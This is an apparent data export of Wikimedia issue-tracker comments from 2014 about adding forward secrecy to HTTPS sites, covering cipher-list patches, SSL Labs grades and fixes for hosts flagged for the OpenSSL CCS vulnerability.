https://gerrit.wikimedia.org/r/147110",,,1405607191,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.636363636363637,1.0,"Change 147110 had a related patch set uploaded by Chmarkine:
update SSL ciphers for Ganglia to support PFS

GERRIT_URL"
257631,Add Forward Secrecy to all HTTPS sites,"Change 146510 merged by Dzahn:
update SSL ciphers for contacts.wm.org to support PFS

https://gerrit.wikimedia.org/r/146510",,,1405529781,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,18.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 146510 merged by Dzahn:
update SSL ciphers for contacts.wm.org to support PFS

GERRIT_URL"
257622,Add Forward Secrecy to all HTTPS sites,"Change 146510 had a related patch set uploaded by Chmarkine:
update SSL ciphers for contacts.wm.org to support PFS

https://gerrit.wikimedia.org/r/146510",,,1405449574,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,23.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,14.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,"Change 146510 had a related patch set uploaded by Chmarkine:
update SSL ciphers for contacts.wm.org to support PFS

GERRIT_URL"
257613,Add Forward Secrecy to all HTTPS sites,"Change 144736 merged by Dzahn:
update SSL cipher list on wikitech to support PFS

https://gerrit.wikimedia.org/r/144736",,,1405110557,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,17.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,1.0,"Change 144736 merged by Dzahn:
update SSL cipher list on wikitech to support PFS

GERRIT_URL"
257606,Add Forward Secrecy to all HTTPS sites,"Change 144734 merged by Dzahn:
update SSL cipher list for OTRS to support PFS

https://gerrit.wikimedia.org/r/144734",,,1405101832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,17.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.277777777777778,1.0,"Change 144734 merged by Dzahn:
update SSL cipher list for OTRS to support PFS

GERRIT_URL"
257598,Add Forward Secrecy to all HTTPS sites,"(In reply to Daniel Zahn from comment #30)
> chmarkine: very nice list, thanks!
> 
> I just wanted to add that even though i have those (partly pending) patches
> to enable it on gerrit,wikitech,otrs ..it will not actually work before
> Apache is also a 2.4 version. But do you agree i should merge already
> anyways,based on it being an improvement anyways? Then it would just
> automatically be supported as soon as Apache will be upgraded.

I agree! I think we should definitely merge them.",,,1405047381,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,8.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,3.0,0.0,11.0,8.0,19.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.2432432432432434,0.6486486486486487,"(In reply to Daniel Zahn from comment #30)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I agree! I think we should definitely merge them."
257592,Add Forward Secrecy to all HTTPS sites,"chmarkine: very nice list, thanks!

I just wanted to add that even though i have those (partly pending) patches to enable it on gerrit,wikitech,otrs ..it will not actually work before Apache is also a 2.4 version. But do you agree i should merge already anyways,based on it being an improvement anyways? Then it would just automatically be supported as soon as Apache will be upgraded.",,,1405032215,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,45,True,0.0,0.0,1.0,2.0,1.0,2.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,0.0,4.0,0.0,19.0,10.0,0.0,2.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,5.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,2.0,5.0,6.0,2.0,1.0,4.0,0.0,0.0,1.0,0.0,9.0,0.0,1.0,0.0,10.0,10.0,5.0,1.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.9753086419753085,0.8024691358024691,"chmarkine: very nice list, thanks!

I just wanted to add that even though i have those (partly pending) patches to enable it on gerrit,wikitech,otrs ..it will not actually work before Apache is also a 2.4 version. But do you agree i should merge already anyways,based on it being an improvement anyways? Then it would just automatically be supported as soon as Apache will be upgraded."
257587,Add Forward Secrecy to all HTTPS sites,"also see the older wiki page that just focused on domains without https

https://wikitech.wikimedia.org/wiki/Httpsless_domains",,,1405004050,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,45,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,4.266666666666667,1.0,"also see the older wiki page that just focused on domains without https

URL"
257582,Add Forward Secrecy to all HTTPS sites,"(In reply to Nemo from comment #22)
> It's a bit unpractical to have one comment for each domain. Jan and
> chmarkine, it would be IMHO more useful if you resurrected
> https://wikitech.wikimedia.org/wiki/Httpsless_domains to make a table of
> which domains have https but lack PFS.

I made such a list: https://wikitech.wikimedia.org/wiki/User:Chmarkine/HTTPS

It summarizes support status for Forward Secrecy and HSTS. It also shows protocol versions, whether HTTP redirects to HTTPS, links to SSL Labs and SSL Labs grades.

It is an incomplete list. Please feel free to update it or move it to main namespace, if you want!",,,1404891658,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,45,True,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,12.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,6.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,26.0,2.0,4.0,4.0,0.0,0.0,1.0,1.0,4.0,1.0,1.0,0.0,9.0,12.0,15.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.573170731707317,0.7195121951219512,"(In reply to Nemo from comment #22)
QUOTE
QUOTE
QUOTE
QUOTE

I made such a list: URL

It summarizes support status for Forward Secrecy and HSTS. It also shows protocol versions, whether HTTP redirects to HTTPS, links to SSL Labs and SSL Labs grades.

It is an incomplete list. Please feel free to update it or move it to main namespace, if you want!"
257577,Add Forward Secrecy to all HTTPS sites,"Change 144731 merged by Dzahn:
update SSL cipher list for gerrit to support PFS

https://gerrit.wikimedia.org/r/144731",,,1404849809,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,17.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.388888888888889,1.0,"Change 144731 merged by Dzahn:
update SSL cipher list for gerrit to support PFS

GERRIT_URL"
257571,Add Forward Secrecy to all HTTPS sites,"all services behind the misc. varnish cluster should be fixed now. they were lacking an nginx restart on cp1043/cp1044, which i did now

this should have fixed all these:

doc			
git			
gdash			
graphite		
parsoid-tests		
performance		
integration		
releases		
legalpad		
logstash		
scholarships",,,1404847614,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,3.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,23.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.466666666666667,0.7666666666666667,"all services behind the misc. varnish cluster should be fixed now. they were lacking an nginx restart on cp1043/cp1044, which i did now

this should have fixed all these:

doc			
git			
gdash			
graphite		
parsoid-tests		
performance		
integration		
releases		
legalpad		
logstash		
scholarships"
257566,Add Forward Secrecy to all HTTPS sites,"Change 144736 had a related patch set uploaded by Dzahn:
update SSL cipher list on wikitech to support PFS

https://gerrit.wikimedia.org/r/144736",,,1404845832,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.391304347826087,1.0,"Change 144736 had a related patch set uploaded by Dzahn:
update SSL cipher list on wikitech to support PFS

GERRIT_URL"
257560,Add Forward Secrecy to all HTTPS sites,"Change 144734 had a related patch set uploaded by Dzahn:
update SSL cipher list for OTRS to support PFS

https://gerrit.wikimedia.org/r/144734",,,1404845477,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.260869565217392,1.0,"Change 144734 had a related patch set uploaded by Dzahn:
update SSL cipher list for OTRS to support PFS

GERRIT_URL"
257554,Add Forward Secrecy to all HTTPS sites,"Change 144731 had a related patch set uploaded by Dzahn:
update SSL cipher list for gerrit to support PFS

https://gerrit.wikimedia.org/r/144731",,,1404844820,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.3478260869565215,1.0,"Change 144731 had a related patch set uploaded by Dzahn:
update SSL cipher list for gerrit to support PFS

GERRIT_URL"
257547,Add Forward Secrecy to all HTTPS sites,"It's a bit unpractical to have one comment for each domain. Jan and chmarkine, it would be IMHO more useful if you resurrected https://wikitech.wikimedia.org/wiki/Httpsless_domains to make a table of which domains have https but lack PFS.",,,1404843632,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,2.0,5.0,10.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,8.0,12.0,5.0,0.0,0.0,0.0,8.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,3.825,0.9,"It's a bit unpractical to have one comment for each domain. Jan and chmarkine, it would be IMHO more useful if you resurrected URL to make a table of which domains have https but lack PFS."
257540,Add Forward Secrecy to all HTTPS sites,"meanwhile dumps and lists have been fixed it seems

dumps.wikimedia.org
 Experimental: This server is not vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224). 


lists.wikimedia.org
 Experimental: This server is not vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224).",,,1404843113,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0.0,0.0,0.0,2.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,20.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,16.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.96078431372549,0.6274509803921569,"meanwhile dumps and lists have been fixed it seems

dumps.wikimedia.org
 Experimental: This server is not vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224). 


lists.wikimedia.org
 Experimental: This server is not vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224)."
257534,Add Forward Secrecy to all HTTPS sites,See also: https://bugzilla.wikimedia.org/show_bug.cgi?id=67564,,,1404647989,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.75,1.0,See also: URL
257529,Add Forward Secrecy to all HTTPS sites,"I just find more and more sites with no FS:

* gerrit.wikimedia.org
* wikitech.wikimedia.org
* ticket.wikimedia.org
* lists.wikimedia.org
* dumps.wikimedia.org
* graphite.wikimedia.org
* gdash.wikimedia.org

Again, graphite.wikimedia.org, gdash.wikimedia.org and dumps.wikimedia.org are ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224) and exploitable"".

lists.wikimedia.org is ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224), but probably not exploitable"", and lists.wikimedia.org does not support TLS 1.1 and TLS 1.2.

[1] https://www.ssllabs.com/ssltest/analyze.html?d=graphite.wikimedia.org (F)
[2] https://www.ssllabs.com/ssltest/analyze.html?d=gdash.wikimedia.org (F)
[3] https://www.ssllabs.com/ssltest/analyze.html?d=dumps.wikimedia.org (F)
[4] https://www.ssllabs.com/ssltest/analyze.html?d=lists.wikimedia.org (B)",,,1404552171,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0.0,0.0,0.0,0.0,1.5,3.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,8.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,13.5,0.0,4.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,6.0,0.0,0.5,2.0,11.0,0.0,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.5,4.368852459016393,0.6065573770491803,"I just find more and more sites with no FS:

* gerrit.wikimedia.org
* wikitech.wikimedia.org
* ticket.wikimedia.org
* lists.wikimedia.org
* dumps.wikimedia.org
* graphite.wikimedia.org
* gdash.wikimedia.org

Again, graphite.wikimedia.org, gdash.wikimedia.org and dumps.wikimedia.org are ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224) and exploitable"".

lists.wikimedia.org is ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224), but probably not exploitable"", and lists.wikimedia.org does not support TLS 1.1 and TLS 1.2.

[1] URL (F)
[2] URL (F)
[3] URL (F)
[4] URL (B)"
257522,Add Forward Secrecy to all HTTPS sites,"I agree with Jan. I think disabling SSL3 and non-fs ciphers is feasible, because only IE 6-8 on XP do not support any FS ciphers, only IE 6 does not support TLS 1.0 or higher, and even IE 7 on Vista supports ECDHE.

Also ticket.wikimedia.org does not support PFS. So all together:
* gerrit.wikimedia.org
* wikitech.wikimedia.org
* ticket.wikimedia.org

https://www.ssllabs.com/ssltest/analyze.html?d=ticket.wikimedia.org",,,1404550349,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,3.0,0.0,0.0,0.0,4.0,7.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,22.0,1.0,4.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,3.0,5.0,20.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.094594594594595,0.6891891891891891,"I agree with Jan. I think disabling SSL3 and non-fs ciphers is feasible, because only IE 6-8 on XP do not support any FS ciphers, only IE 6 does not support TLS 1.0 or higher, and even IE 7 on Vista supports ECDHE.

Also ticket.wikimedia.org does not support PFS. So all together:
* gerrit.wikimedia.org
* wikitech.wikimedia.org
* ticket.wikimedia.org

URL"
257515,Add Forward Secrecy to all HTTPS sites,"Yes and there are more sites that still lack forward secrecy. Now that there is an acceptable configuration with FS we can just apply that one to them. Some like wikitech and gerrit can probably use one that is less backwards compatible (like no SSL3, disable RC4, difficult: disable non-fs ciphers).",,,1404487612,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,2.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,5.0,10.0,2.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,3.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,2.0,2.0,0.0,3.0,0.0,0.0,4.098360655737705,0.7868852459016393,"Yes and there are more sites that still lack forward secrecy. Now that there is an acceptable configuration with FS we can just apply that one to them. Some like wikitech and gerrit can probably use one that is less backwards compatible (like no SSL3, disable RC4, difficult: disable non-fs ciphers)."
257512,Add Forward Secrecy to all HTTPS sites,"(In reply to chmarkine from comment #15)
> wikitech.wikimedia.org also doesn't support Forward Secrecy. 
> 
> More importantly, SSL Labs says Wikitech server is ""vulnerable to the
> OpenSSL CCS vulnerability (CVE-2014-0224) and exploitable"".
> 
> * https://www.ssllabs.com/ssltest/analyze.html?d=wikitech.wikimedia.org

F to A- now",,,1404475551,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-foiv3u6f7vfcfp6ajqxa,task_subcomment,,True,c2,3,True,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,15.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.962962962962963,0.5925925925925926,"(In reply to chmarkine from comment #15)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

F to A- now"
257508,Add Forward Secrecy to all HTTPS sites,"wikitech.wikimedia.org also doesn't support Forward Secrecy. 

More importantly, SSL Labs says Wikitech server is ""vulnerable to the OpenSSL CCS vulnerability (CVE-2014-0224) and exploitable"".

